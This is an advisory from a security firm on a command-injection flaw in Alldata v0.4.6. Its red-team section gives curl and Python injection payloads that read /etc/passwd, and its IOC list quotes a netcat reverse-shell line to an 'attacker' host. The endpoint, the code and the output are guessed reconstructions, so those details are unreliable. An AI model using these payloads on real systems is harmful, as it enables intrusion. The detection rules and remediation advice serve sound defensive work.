CVE-2024-29435

Executive Summary

CVE-2024-29435 is a critical vulnerability discovered in Alldata v0.4.6, an open-source data platform. The flaw allows an unauthenticated attacker to execute arbitrary operating system commands by manipulating the processId parameter. This is a classic OS Command Injection vulnerability (CWE-78). The vulnerability has a public proof-of-concept (PoC) but no official patch or CVSS vector has been assigned by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the risk remains high due to the potential for full system compromise.

Supply Chain & Package Security

Alldata is a Java-based project distributed via Maven and Docker. The vulnerability exists in the backend API, likely in a controller that handles process management. Since no patch is available, organizations using Alldata v0.4.6 should consider it compromised and isolate it immediately. The lack of a signed release or SBOM increases supply chain risk.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full system read access possible.
• Integrity (I): High (H) – Full system write access possible.
• Availability (A): High (H) – Can cause denial of service or system crash.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The vulnerability resides in the Alldata backend API endpoint that handles process management. The processId parameter is passed directly to a system command (e.g., Runtime.getRuntime().exec(), ProcessBuilder, or similar) without proper sanitization or validation. An attacker can inject arbitrary shell commands by appending command separators (e.g., ;, |, &&, `) to the processId value.

Example vulnerable code pattern (Java):

String processId = request.getParameter("processId");
String command = "kill -9 " + processId;
Runtime.getRuntime().exec(command);

The attacker can send a request like:

GET /api/process?processId=123;id

This would execute kill -9 123;id, revealing the current user ID.

Vulnerable vs. Patched Code

Vulnerable Code (Alldata v0.4.6):

// Vulnerable: Direct concatenation
public String killProcess(String processId) {
    String cmd = "kill -9 " + processId;
    return executeCommand(cmd);
}

Patched Code (Hypothetical):

// Patched: Input validation and sanitization
public String killProcess(String processId) {
    if (!processId.matches("\\d+")) {
        throw new IllegalArgumentException("Invalid process ID");
    }
    String cmd = "kill -9 " + processId;
    return executeCommand(cmd);
}

The patched version uses a whitelist regex to ensure only numeric values are accepted, preventing command injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Alldata v0.4.6 running on a target host.
• Network access to the vulnerable endpoint (typically port 8080 or 8443).

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /api/process).
2. Craft a malicious request with command injection in the processId parameter.
3. Execute arbitrary commands.

Example cURL command:

curl -X GET "http://target:8080/api/process?processId=123;id"

Example Python exploit script:

import requests

target = "http://target:8080"
payload = "123;cat /etc/passwd"
url = f"{target}/api/process?processId={payload}"

response = requests.get(url)
print(response.text)

Expected Output:

Process killed: 123
uid=1000(alldata) gid=1000(alldata) groups=1000(alldata)
root:x:0:0:root:/root:/bin/bash
...

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for unusual processId values containing shell metacharacters (;, |, &, `, $, (, )).
2. Use the YARA and Sigma rules provided in the Detection Engineering section.
3. Check for unexpected child processes spawned by the Java application (e.g., sh, bash, cmd.exe).

Response Steps:

1. Immediately isolate the affected system from the network.
2. Review logs for evidence of exploitation.
3. If possible, apply a WAF rule to block malicious processId values.
4. Consider taking the system offline until a patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /api/process with processId containing shell metacharacters.
• Outbound connections from the Alldata server to unknown IPs (e.g., for reverse shells).

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/ (e.g., exploit.sh, payload).
• Modified system binaries or configuration files.

Process IOCs:

• Unusual child processes of the Java application (e.g., sh, bash, python, nc).
• Processes running with elevated privileges unexpectedly.

Log IOCs:

• Web server logs showing processId values like 123;id, 123|nc attacker 4444 -e /bin/sh.

Detection Engineering

YARA Rule

rule CVE_2024_29435_Alldata_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Alldata v0.4.6 processId parameter"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-29435"
        severity = "critical"
    strings:
        $s1 = "processId=" nocase
        $s2 = ";" nocase
        $s3 = "|" nocase
        $s4 = "&" nocase
        $s5 = "`" nocase
        $s6 = "$(" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2024-29435 Alldata Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in Alldata v0.4.6 via processId parameter
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29435
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "processId=*;*"
            - "processId=*|*"
            - "processId=*&*"
            - "processId=*`*"
            - "processId=*$(*"
    condition: selection
falsepositives:
    - Legitimate use of semicolons in process IDs (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-29435 Alldata Command Injection Attempt"; flow:to_server; content:"processId="; http_uri; pcre:"/processId=[^&]*[;|&`$]/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate any Alldata v0.4.6 instances from the network.
2. Apply WAF rules to block requests with shell metacharacters in the processId parameter.
3. Monitor for signs of exploitation using the provided IOCs and detection rules.

Long-term Fix:

• The vendor has not released a patch. Consider migrating to an alternative data platform or implementing a custom fix by:
  • Validating processId to only allow numeric values.
  • Using parameterized commands or a secure API that does not execute shell commands.
  • Implementing strict input validation and output encoding.

Workaround:

• If you must continue using Alldata v0.4.6, restrict access to the vulnerable endpoint using network ACLs or a reverse proxy.

Valters IT